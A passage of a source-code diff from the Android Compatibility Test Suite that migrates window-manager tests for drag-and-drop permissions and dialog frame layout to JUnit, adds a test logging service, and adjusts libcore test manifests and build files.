+ Log.e(TAG, "session: " + mSessionId + ", source: " + sourceMode
+ + ", target: " + targetMode);
+
if (supportsSplitScreenMultiWindow()) {
- launchDockedActivity(mSourcePackageName, SOURCE_ACTIVITY_NAME, sourceMode);
- launchFullscreenActivity(mTargetPackageName, TARGET_ACTIVITY_NAME, targetMode);
+ launchDockedActivity(
+ mSourcePackageName, SOURCE_ACTIVITY_NAME, sourceMode, mSourceLogTag);
+ launchFullscreenActivity(
+ mTargetPackageName, TARGET_ACTIVITY_NAME, targetMode, mTargetLogTag);
} else if (supportsFreeformMultiWindow()) {
// Fallback to try to launch two freeform windows side by side.
Point displaySize = getDisplaySize();
- launchFreeformActivity(mSourcePackageName, SOURCE_ACTIVITY_NAME, sourceMode,
+ launchFreeformActivity(
+ mSourcePackageName, SOURCE_ACTIVITY_NAME, sourceMode, mSourceLogTag,
displaySize, true /* leftSide */);
- launchFreeformActivity(mTargetPackageName, TARGET_ACTIVITY_NAME, targetMode,
+ launchFreeformActivity(
+ mTargetPackageName, TARGET_ACTIVITY_NAME, targetMode, mTargetLogTag,
displaySize, false /* leftSide */);
} else {
return;
}
- clearLogs();
+ Point p1 = getWindowCenter(getComponentName(mSourcePackageName, SOURCE_ACTIVITY_NAME));
+ assertNotNull(p1);
+ Point p2 = getWindowCenter(getComponentName(mTargetPackageName, TARGET_ACTIVITY_NAME));
+ assertNotNull(p2);
- injectInput(
- getWindowCenter(getComponentName(mSourcePackageName, SOURCE_ACTIVITY_NAME)),
- getWindowCenter(getComponentName(mTargetPackageName, TARGET_ACTIVITY_NAME)),
- SWIPE_DURATION_MS);
+ TestLogService.registerClient(mSourceLogTag, RESULT_KEY_START_DRAG);
+ TestLogService.registerClient(mTargetLogTag, RESULT_KEY_DRAG_ENDED);
- mSourceResults = getLogResults(SOURCE_LOG_TAG, RESULT_KEY_START_DRAG);
+ injectInput(p1, p2, SWIPE_STEPS);
+
+ mSourceResults = TestLogService.getResultsForClient(mSourceLogTag, 1000);
assertSourceResult(RESULT_KEY_START_DRAG, expectedStartDragResult);
- mTargetResults = getLogResults(TARGET_LOG_TAG, RESULT_KEY_DRAG_ENDED);
+ mTargetResults = TestLogService.getResultsForClient(mTargetLogTag, 1000);
assertTargetResult(RESULT_KEY_DROP_RESULT, expectedDropResult);
if (!RESULT_MISSING.equals(expectedDropResult)) {
assertTargetResult(RESULT_KEY_ACCESS_BEFORE, RESULT_EXCEPTION);
@@ -452,95 +435,114 @@
}
}
- private boolean supportsDragAndDrop() throws Exception {
- String supportsMultiwindow = mDevice.executeShellCommand("am supports-multiwindow").trim();
+ private boolean supportsDragAndDrop() {
+ String supportsMultiwindow = executeShellCommand("am supports-multiwindow").trim();
if ("true".equals(supportsMultiwindow)) {
return true;
} else if ("false".equals(supportsMultiwindow)) {
return false;
} else {
- throw new Exception(
+ throw new RuntimeException(
"device does not support \"am supports-multiwindow\" shell command.");
}
}
- private boolean supportsSplitScreenMultiWindow() throws DeviceNotAvailableException {
+ private boolean supportsSplitScreenMultiWindow() {
return !executeShellCommand(AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW).startsWith("false");
}
- private boolean supportsFreeformMultiWindow() throws DeviceNotAvailableException {
- return mDevice.hasFeature("feature:android.software.freeform_window_management");
+ private boolean supportsFreeformMultiWindow() {
+ final String output = executeShellCommand("pm list features");
+ return output.contains("feature:android.software.freeform_window_management");
}
+ @Test
public void testCancelSoon() throws Exception {
assertDropResult(CANCEL_SOON, REQUEST_NONE, RESULT_MISSING);
}
+ @Test
public void testDisallowGlobal() throws Exception {
assertNoGlobalDragEvents(DISALLOW_GLOBAL, RESULT_OK);
}
+ @Test
public void testDisallowGlobalBelowSdk24() throws Exception {
mTargetPackageName = TARGET_23_PACKAGE_NAME;
assertNoGlobalDragEvents(GRANT_NONE, RESULT_OK);
}
+ @Test
public void testFileUriLocal() throws Exception {
assertNoGlobalDragEvents(FILE_LOCAL, RESULT_OK);
}
+ @Test
public void testFileUriGlobal() throws Exception {
assertNoGlobalDragEvents(FILE_GLOBAL, RESULT_EXCEPTION);
}
+ @Test
public void testGrantNoneRequestNone() throws Exception {
assertDropResult(GRANT_NONE, REQUEST_NONE, RESULT_EXCEPTION);
}
+ @Test
public void testGrantNoneRequestRead() throws Exception {
assertDropResult(GRANT_NONE, REQUEST_READ, RESULT_NULL_DROP_PERMISSIONS);
}
+ @Test
public void testGrantNoneRequestWrite() throws Exception {
assertDropResult(GRANT_NONE, REQUEST_WRITE, RESULT_NULL_DROP_PERMISSIONS);
}
+ @Test
public void testGrantReadRequestNone() throws Exception {
assertDropResult(GRANT_READ, REQUEST_NONE, RESULT_EXCEPTION);
}
+ @Test
public void testGrantReadRequestRead() throws Exception {
assertDropResult(GRANT_READ, REQUEST_READ, RESULT_OK);
}
+ @Test
public void testGrantReadRequestWrite() throws Exception {
assertDropResult(GRANT_READ, REQUEST_WRITE, RESULT_EXCEPTION);
}
+ @Test
public void testGrantReadNoPrefixRequestReadNested() throws Exception {
assertDropResult(GRANT_READ_NOPREFIX, REQUEST_READ_NESTED, RESULT_EXCEPTION);
}
+ @Test
public void testGrantReadPrefixRequestReadNested() throws Exception {
assertDropResult(GRANT_READ_PREFIX, REQUEST_READ_NESTED, RESULT_OK);
}
+ @Test
public void testGrantPersistableRequestTakePersistable() throws Exception {
assertDropResult(GRANT_READ_PERSISTABLE, REQUEST_TAKE_PERSISTABLE, RESULT_OK);
}
+ @Test
public void testGrantReadRequestTakePersistable() throws Exception {
assertDropResult(GRANT_READ, REQUEST_TAKE_PERSISTABLE, RESULT_EXCEPTION);
}
+ @Test
public void testGrantWriteRequestNone() throws Exception {
assertDropResult(GRANT_WRITE, REQUEST_NONE, RESULT_EXCEPTION);
}
+ @Test
public void testGrantWriteRequestRead() throws Exception {
assertDropResult(GRANT_WRITE, REQUEST_READ, RESULT_EXCEPTION);
}
+ @Test
public void testGrantWriteRequestWrite() throws Exception {
assertDropResult(GRANT_WRITE, REQUEST_WRITE, RESULT_OK);
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
new file mode 100644
index 0000000..9a8f9ea
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
@@ -0,0 +1,240 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.server.am.StateLogger.logE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.graphics.Rect;
+import android.server.am.WaitForValidActivityState;
+import android.server.am.WindowManagerState.WindowState;
+
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class DialogFrameTests extends ParentChildTestBase {
+
+ private List<WindowState> mWindowList = new ArrayList();
+
+ @Override
+ String intentKey() {
+ return "android.server.FrameTestApp.DialogTestCase";
+ }
+
+ @Override
+ String activityName() {
+ return "DialogTestActivity";
+ }
+
+ WindowState getSingleWindow(String windowName) {
+ try {
+ mAmWmState.getWmState().getMatchingVisibleWindowState(
+ getBaseWindowName() + windowName, mWindowList);
+ return mWindowList.get(0);
+ } catch (Exception e) {
+ logE("Couldn't find window: " + windowName);
+ return null;
+ }
+ }
+
+ void doSingleTest(ParentChildTest t) throws Exception {
+ final WaitForValidActivityState waitForVisible =
+ new WaitForValidActivityState.Builder("TestDialog").build();
+
+ mAmWmState.computeState(waitForVisible);
+ WindowState dialog = getSingleWindow("TestDialog");
+ WindowState parent = getSingleWindow("DialogTestActivity");
+
+ t.doTest(parent, dialog);
+ }
+
+ // With Width and Height as MATCH_PARENT we should fill
+ // the same content frame as the main activity window
+ @Test
+ public void testMatchParentDialog() throws Exception {
+ doParentChildTest("MatchParent",
+ (WindowState parent, WindowState dialog) -> {
+ assertEquals(parent.getContentFrame(), dialog.getFrame());
+ });
+ }
+
+ // If we have LAYOUT_IN_SCREEN and LAYOUT_IN_OVERSCAN with MATCH_PARENT,
+ // we will not be constrained to the insets and so we will be the same size
+ // as the main window main frame.
+ @Test
+ public void testMatchParentDialogLayoutInOverscan() throws Exception {
+ doParentChildTest("MatchParentLayoutInOverscan",
+ (WindowState parent, WindowState dialog) -> {
+ assertEquals(parent.getFrame(), dialog.getFrame());
+ });
+ }
+
+ static final int explicitDimension = 200;
+
+ // The default gravity for dialogs should center them.
+ @Test
+ public void testExplicitSizeDefaultGravity() throws Exception {
+ doParentChildTest("ExplicitSize",
+ (WindowState parent, WindowState dialog) -> {
+ Rect contentFrame = parent.getContentFrame();
+ Rect expectedFrame = new Rect(
+ contentFrame.left + (contentFrame.width() - explicitDimension) / 2,
+ contentFrame.top + (contentFrame.height() - explicitDimension) / 2,
+ contentFrame.left + (contentFrame.width() + explicitDimension) / 2,
+ contentFrame.top + (contentFrame.height() + explicitDimension) / 2);
+ assertEquals(expectedFrame, dialog.getFrame());
+ });
+ }
+
+ @Test
+ public void testExplicitSizeTopLeftGravity() throws Exception {
+ doParentChildTest("ExplicitSizeTopLeftGravity",
+ (WindowState parent, WindowState dialog) -> {
+ Rect contentFrame = parent.getContentFrame();
+ Rect expectedFrame = new Rect(
+ contentFrame.left,
+ contentFrame.top,
+ contentFrame.left + explicitDimension,
+ contentFrame.top + explicitDimension);
+ assertEquals(expectedFrame, dialog.getFrame());
+ });
+ }
+
+ @Test
+ public void testExplicitSizeBottomRightGravity() throws Exception {
+ doParentChildTest("ExplicitSizeBottomRightGravity",
+ (WindowState parent, WindowState dialog) -> {
+ Rect contentFrame = parent.getContentFrame();
+ Rect expectedFrame = new Rect(
+ contentFrame.left + contentFrame.width() - explicitDimension,
+ contentFrame.top + contentFrame.height() - explicitDimension,
+ contentFrame.left + contentFrame.width(),
+ contentFrame.top + contentFrame.height());
+ assertEquals(expectedFrame, dialog.getFrame());
+ });
+ }
+
+ // TODO: Commented out for now because it doesn't work. We end up
+ // insetting the decor on the bottom. I think this is a bug
+ // probably in the default dialog flags:
+ // b/30127373
+ // public void testOversizedDimensions() throws Exception {
+ // doParentChildTest("OversizedDimensions",
+ // (WindowState parent, WindowState dialog) -> {
+ // With the default flags oversize should result in clipping to
+ // parent frame.
+ // assertEquals(parent.getContentFrame(), dialog.getFrame());
+ // });
+ // }
+
+
+
+ // TODO(b/63993863) : Disabled pending public API to fetch maximum surface size.
+ //static final int oversizedDimension = 5000;
+ // With FLAG_LAYOUT_NO_LIMITS we should get the size we request, even if its much
+ // larger than the screen.
+ // @Test
+ // public void testOversizedDimensionsNoLimits() throws Exception {
+ // TODO(b/36890978): We only run this in fullscreen because of the
+ // unclear status of NO_LIMITS for non-child surfaces in MW modes
+ // doFullscreenTest("OversizedDimensionsNoLimits",
+ // (WindowState parent, WindowState dialog) -> {
+ // Rect contentFrame = parent.getContentFrame();
+ // Rect expectedFrame = new Rect(contentFrame.left, contentFrame.top,
+ // contentFrame.left + oversizedDimension,
+ // contentFrame.top + oversizedDimension);
+ // assertEquals(expectedFrame, dialog.getFrame());
+ // });
+ //}
+
+ // If we request the MATCH_PARENT and a non-zero position, we wouldn't be
+ // able to fit all of our content, so we should be adjusted to just fit the
+ // content frame.
+ @Test
+ public void testExplicitPositionMatchParent() throws Exception {
+ doParentChildTest("ExplicitPositionMatchParent",
+ (WindowState parent, WindowState dialog) -> {
+ assertEquals(parent.getContentFrame(),
+ dialog.getFrame());
+ });
+ }
+
+ // Unless we pass NO_LIMITS in which case our requested position should
+ // be honored.
+ @Test
+ public void testExplicitPositionMatchParentNoLimits() throws Exception {
+ final int explicitPosition = 100;
+ doParentChildTest("ExplicitPositionMatchParentNoLimits",
+ (WindowState parent, WindowState dialog) -> {
+ Rect contentFrame = parent.getContentFrame();
+ Rect expectedFrame = new Rect(contentFrame);
+ expectedFrame.offset(explicitPosition, explicitPosition);
+ assertEquals(expectedFrame, dialog.getFrame());
+ });
+ }
+
+ // We run the two focus tests fullscreen only because switching to the
+ // docked stack will strip away focus from the task anyway.
+ @Test
+ public void testDialogReceivesFocus() throws Exception {
+ doFullscreenTest("MatchParent",
+ (WindowState parent, WindowState dialog) -> {
+ assertEquals(dialog.getName(), mAmWmState.getWmState().getFocusedWindow());
+ });
+ }
+
+ @Test
+ public void testNoFocusDialog() throws Exception {
+ doFullscreenTest("NoFocus",
+ (WindowState parent, WindowState dialog) -> {
+ assertEquals(parent.getName(), mAmWmState.getWmState().getFocusedWindow());
+ });
+ }
+
+ @Test
+ public void testMarginsArePercentagesOfContentFrame() throws Exception {
+ float horizontalMargin = .25f;
+ float verticalMargin = .35f;
+ doParentChildTest("WithMargins",
+ (WindowState parent, WindowState dialog) -> {
+ Rect frame = parent.getContentFrame();
+ Rect expectedFrame = new Rect(
+ (int) (horizontalMargin * frame.width() + frame.left),
+ (int) (verticalMargin * frame.height() + frame.top),
+ (int) (horizontalMargin * frame.width() + frame.left)
+ + explicitDimension,
+ (int) (verticalMargin * frame.height() + frame.top)
+ + explicitDimension);
+ assertEquals(expectedFrame, dialog.getFrame());
+ });
+ }
+
+ @Test
+ public void testDialogPlacedAboveParent() throws Exception {
+ doParentChildTest("MatchParent",
+ (WindowState parent, WindowState dialog) -> {
+ // Not only should the dialog be higher, but it should be
+ // leave multiple layers of space inbetween for DimLayers,
+ // etc...
+ assertTrue(dialog.getZOrder() > parent.getZOrder());
+ });
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ParentChildTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
similarity index 71%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ParentChildTestBase.java
rename to tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
index 5518f08..2fda508 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ParentChildTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
@@ -14,51 +14,49 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.wm;
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceTestCase;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.server.am.StateLogger.log;
-import android.server.cts.WindowManagerState.WindowState;
-import android.server.cts.ActivityManagerTestBase;
+import android.server.am.ActivityManagerTestBase;
+import android.server.am.WindowManagerState.WindowState;
public abstract class ParentChildTestBase extends ActivityManagerTestBase {
+
private static final String COMPONENT_NAME = "android.server.FrameTestApp";
interface ParentChildTest {
+
void doTest(WindowState parent, WindowState child);
}
public void startTestCase(String testCase) throws Exception {
setComponentName(COMPONENT_NAME);
String cmd = getAmStartCmd(activityName(), intentKey(), testCase);
- CLog.logAndDisplay(LogLevel.INFO, cmd);
executeShellCommand(cmd);
}
public void startTestCaseDocked(String testCase) throws Exception {
- setComponentName(COMPONENT_NAME);
- String cmd = getAmStartCmd(activityName(), intentKey(), testCase);
- CLog.logAndDisplay(LogLevel.INFO, cmd);
- executeShellCommand(cmd);
- moveActivityToDockStack(activityName());
+ startTestCase(testCase);
+ setActivityTaskWindowingMode(activityName(), WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
}
abstract String intentKey();
+
abstract String activityName();
abstract void doSingleTest(ParentChildTest t) throws Exception;
void doFullscreenTest(String testCase, ParentChildTest t) throws Exception {
- CLog.logAndDisplay(LogLevel.INFO, "Running test fullscreen");
+ log("Running test fullscreen");
startTestCase(testCase);
doSingleTest(t);
stopTestCase();
}
void doDockedTest(String testCase, ParentChildTest t) throws Exception {
- CLog.logAndDisplay(LogLevel.INFO, "Running test docked");
+ log("Running test docked");
startTestCaseDocked(testCase);
doSingleTest(t);
stopTestCase();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TestLogClient.java b/tests/framework/base/windowmanager/src/android/server/wm/TestLogClient.java
new file mode 100644
index 0000000..725ef09
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TestLogClient.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+
+/**
+ * A class that sends log data to {@link TestLogService}.
+ */
+public class TestLogClient {
+
+ public static final String EXTRA_LOG_TAG = "logtag";
+ public static final String EXTRA_KEY = "key";
+ public static final String EXTRA_VALUE = "value";
+
+ private static final String TEST_LOGGER_PACKAGE_NAME = "android.server.cts.wm";
+ private static final String TEST_LOGGER_SERVICE_NAME = "android.server.wm.TestLogService";
+
+ private final Context mContext;
+ private final String mLogTag;
+
+ public TestLogClient(Context context, String logtag) {
+ mContext = context;
+ mLogTag = logtag;
+ }
+
+ public void record(String key, String value) {
+ Intent intent = new Intent();
+ intent.setComponent(
+ new ComponentName(TEST_LOGGER_PACKAGE_NAME, TEST_LOGGER_SERVICE_NAME));
+ intent.putExtra(EXTRA_LOG_TAG, mLogTag);
+ intent.putExtra(EXTRA_KEY, key);
+ intent.putExtra(EXTRA_VALUE, value);
+ mContext.startService(intent);
+ }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TestLogService.java b/tests/framework/base/windowmanager/src/android/server/wm/TestLogService.java
new file mode 100644
index 0000000..8bd5099
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TestLogService.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.util.Log;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * A service collecting data from other apps used by a test.
+ *
+ * Use {@link TestLogClient} to send data to this service.
+ */
+public class TestLogService extends Service {
+ private static final String TAG = "TestLogService";
+
+ private static final Object mLock = new Object();
+
+ static class ClientChannel {
+ final String mStopKey;
+ final CountDownLatch mLatch = new CountDownLatch(1);
+ final Map<String, String> mResults = new HashMap<>();
+
+ ClientChannel(String stopKey) {
+ mStopKey = stopKey;
+ }
+ }
+
+ private static Map<String, ClientChannel> mChannels = new HashMap<>();
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ record(intent.getStringExtra(TestLogClient.EXTRA_LOG_TAG),
+ intent.getStringExtra(TestLogClient.EXTRA_KEY),
+ intent.getStringExtra(TestLogClient.EXTRA_VALUE));
+ return START_NOT_STICKY;
+ }
+
+ /**
+ * Prepare to receive results from a client with a specified tag.
+ *
+ * @param logtag Unique tag for the client.
+ * @param stopKey The key that signals that the client has completed all required actions.
+ */
+ public static void registerClient(String logtag, String stopKey) {
+ synchronized (mLock) {
+ if (mChannels.containsKey(logtag)) {
+ throw new IllegalArgumentException(logtag);
+ }
+ mChannels.put(logtag, new ClientChannel(stopKey));
+ }
+ }
+
+ /**
+ * Wait for the client to complete all required actions and return the results.
+ *
+ * @param logtag Unique tag for the client.
+ * @param timeoutMs Latch timeout in ms.
+ * @return The map of results from the client
+ */
+ public static Map<String, String> getResultsForClient(String logtag, int timeoutMs) {
+ Map<String, String> result = new HashMap<>();
+ CountDownLatch latch;
+ synchronized (mLock) {
+ if (!mChannels.containsKey(logtag)) {
+ return result;
+ }
+ latch = mChannels.get(logtag).mLatch;
+ }
+ try {
+ latch.await(timeoutMs, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException ignore) {
+ }
+ synchronized (mLock) {
+ for (Map.Entry<String, String> e : mChannels.get(logtag).mResults.entrySet()) {
+ result.put(e.getKey(), e.getValue());
+ }
+ }
+ return result;
+ }
+
+ private static void record(String logtag, String key, String value) {
+ synchronized (mLock) {
+ if (!mChannels.containsKey(logtag)) {
+ Log.e(TAG, "Unexpected logtag: " + logtag);
+ return;
+ }
+ ClientChannel channel = mChannels.get(logtag);
+ channel.mResults.put(key, value);
+ if (key.equals(channel.mStopKey)) {
+ channel.mLatch.countDown();
+ }
+ }
+ }
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java
index 41e3efa..9b03ed7 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java
@@ -18,9 +18,14 @@
import static org.junit.Assert.assertEquals;
+import android.graphics.Typeface;
import android.os.Parcel;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
+import android.text.Spannable;
+import android.text.SpannableStringBuilder;
+import android.text.Spanned;
+import android.text.style.StyleSpan;
import android.view.inputmethod.ExtractedText;
import org.junit.Test;
@@ -38,6 +43,9 @@
extractedText.startOffset = 1;
CharSequence text = "test";
extractedText.text = text;
+ SpannableStringBuilder hint = new SpannableStringBuilder("hint");
+ hint.setSpan(new StyleSpan(Typeface.BOLD), 1, 3, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ extractedText.hint = hint;
Parcel p = Parcel.obtain();
extractedText.writeToParcel(p, 0);
p.setDataPosition(0);
@@ -49,6 +57,9 @@
assertEquals(extractedText.partialStartOffset, target.partialStartOffset);
assertEquals(extractedText.partialEndOffset, target.partialEndOffset);
assertEquals(extractedText.text.toString(), target.text.toString());
+ assertEquals(extractedText.hint.toString(), target.hint.toString());
+ final Spannable hintText = (Spannable) extractedText.hint;
+ assertEquals(1, hintText.getSpans(0, hintText.length(), StyleSpan.class).length);
assertEquals(0, extractedText.describeContents());
}
diff --git a/tests/leanbackjank/Android.mk b/tests/leanbackjank/Android.mk
index ec114f3..246cf5e 100644
--- a/tests/leanbackjank/Android.mk
+++ b/tests/leanbackjank/Android.mk
@@ -33,9 +33,6 @@
ctstestrunner \
ub-uiautomator \
ub-janktesthelper \
- android-support-v17-leanback \
- android-support-v7-recyclerview \
- android-support-v4 \
legacy-android-test
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/leanbackjank/app/Android.mk b/tests/leanbackjank/app/Android.mk
index 3fc685d..04c3d3f 100644
--- a/tests/leanbackjank/app/Android.mk
+++ b/tests/leanbackjank/app/Android.mk
@@ -27,25 +27,21 @@
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_RESOURCE_DIR := \
- $(TOP)/frameworks/support/v17/leanback/res \
- $(TOP)/frameworks/support/v7/recyclerview/res \
- $(LOCAL_PATH)/res
+LOCAL_USE_AAPT2 := true
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
LOCAL_STATIC_JAVA_LIBRARIES := \
compatibility-device-util \
ctstestrunner \
ub-uiautomator \
ub-janktesthelper \
- android-support-v4 \
- android-support-v7-recyclerview \
- android-support-v17-leanback \
glide
-LOCAL_AAPT_FLAGS := \
- --auto-add-overlay \
- --extra-packages android.support.v17.leanback \
- --extra-packages android.support.v7.recyclerview
+LOCAL_STATIC_ANDROID_LIBRARIES := \
+ android-support-v4 \
+ android-support-v7-recyclerview \
+ android-support-v17-leanback
LOCAL_PROGUARD_FLAG_FILES := proguard.flags
diff --git a/tests/libcore/jsr166/AndroidManifest.xml b/tests/libcore/jsr166/AndroidManifest.xml
index baae488..5fd3f6e 100644
--- a/tests/libcore/jsr166/AndroidManifest.xml
+++ b/tests/libcore/jsr166/AndroidManifest.xml
@@ -22,6 +22,9 @@
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
android:targetPackage="android.libcore.cts.jsr166"
- android:label="CTS Libcore JSR166 test cases" />
+ android:label="CTS Libcore JSR166 test cases">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
</manifest>
diff --git a/tests/libcore/jsr166/AndroidTest.xml b/tests/libcore/jsr166/AndroidTest.xml
index 2a3e5d2..0c67705 100644
--- a/tests/libcore/jsr166/AndroidTest.xml
+++ b/tests/libcore/jsr166/AndroidTest.xml
@@ -27,8 +27,6 @@
</target_preparer>
<test class="com.android.compatibility.testtype.LibcoreTest" >
<option name="package" value="android.libcore.cts.jsr166" />
- <option name="instrumentation-arg" key="listener"
- value="com.android.cts.runner.CtsTestRunListener" />
<option name="instrumentation-arg" key="filter"
value="com.android.cts.core.runner.ExpectationBasedFilter" />
<option name="core-expectation" value="/knownfailures.txt" />
diff --git a/tests/libcore/luni/AndroidManifest.xml b/tests/libcore/luni/AndroidManifest.xml
index 0389be6..4df4b93 100644
--- a/tests/libcore/luni/AndroidManifest.xml
+++ b/tests/libcore/luni/AndroidManifest.xml
@@ -23,6 +23,9 @@
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
android:targetPackage="android.libcore.cts"
- android:label="CTS Libcore test cases" />
+ android:label="CTS Libcore test cases">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
</manifest>
diff --git a/tests/libcore/luni/AndroidTest.xml b/tests/libcore/luni/AndroidTest.xml
index a8c4142..fa1c9cc 100644
--- a/tests/libcore/luni/AndroidTest.xml
+++ b/tests/libcore/luni/AndroidTest.xml
@@ -27,8 +27,6 @@
</target_preparer>
<test class="com.android.compatibility.testtype.LibcoreTest" >
<option name="package" value="android.libcore.cts" />
- <option name="instrumentation-arg" key="listener"
- value="com.android.cts.runner.CtsTestRunListener" />
<option name="instrumentation-arg" key="filter"
value="com.android.cts.core.runner.ExpectationBasedFilter" />
<option name="core-expectation" value="/knownfailures.txt" />
diff --git a/tests/libcore/ojluni/AndroidManifest.xml b/tests/libcore/ojluni/AndroidManifest.xml
index c010a32..8c45c30 100644
--- a/tests/libcore/ojluni/AndroidManifest.xml
+++ b/tests/libcore/ojluni/AndroidManifest.xml
@@ -21,6 +21,9 @@
<!-- important: instrument another package which actually contains AJUR -->
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
android:targetPackage="android.libcore.runner"
- android:label="CTS Libcore OJ test cases" />
+ android:label="CTS Libcore OJ test cases">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
</manifest>
diff --git a/tests/libcore/ojluni/AndroidTest.xml b/tests/libcore/ojluni/AndroidTest.xml
index 1cebd4e..2b7ae29 100644
--- a/tests/libcore/ojluni/AndroidTest.xml
+++ b/tests/libcore/ojluni/AndroidTest.xml
@@ -22,7 +22,7 @@
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
- <!-- this has the CoreTestRunner which needs to be in a separate APK -->
+ <!-- this has the AJUR which needs to be in a separate APK -->
<option name="test-file-name" value="CtsLibcoreTestRunner.apk" />
<!-- this has just the instrumentation which acts as the tests we want to run -->
<option name="test-file-name" value="CtsLibcoreOjTestCases.apk" />
@@ -31,8 +31,6 @@
<option name="package" value="android.libcore.cts.oj" />
<option name="instrumentation-arg" key="runnerBuilder"
value="com.android.cts.core.runner.support.TestNgRunnerBuilder"/>
- <option name="instrumentation-arg" key="listener"
- value="com.android.cts.runner.CtsTestRunListener"/>
<option name="instrumentation-arg" key="filter"
value="com.android.cts.core.runner.ExpectationBasedFilter" />
<option name="core-expectation" value="/knownfailures.txt" />
diff --git a/tests/libcore/okhttp/AndroidManifest.xml b/tests/libcore/okhttp/AndroidManifest.xml
index 151fda9..dfff563 100644
--- a/tests/libcore/okhttp/AndroidManifest.xml
+++ b/tests/libcore/okhttp/AndroidManifest.xml
@@ -17,12 +17,15 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.libcore.cts.okhttp">
<uses-permission android:name="android.permission.INTERNET" />
- <application>
+ <application android:usesCleartextTraffic="true">
<uses-library android:name="android.test.runner" />
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
android:targetPackage="android.libcore.cts.okhttp"
- android:label="CTS Libcore OkHttp test cases" />
+ android:label="CTS Libcore OkHttp test cases">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
</manifest>
diff --git a/tests/libcore/okhttp/AndroidTest.xml b/tests/libcore/okhttp/AndroidTest.xml
index 4e79b80..c3470cc 100644
--- a/tests/libcore/okhttp/AndroidTest.xml
+++ b/tests/libcore/okhttp/AndroidTest.xml
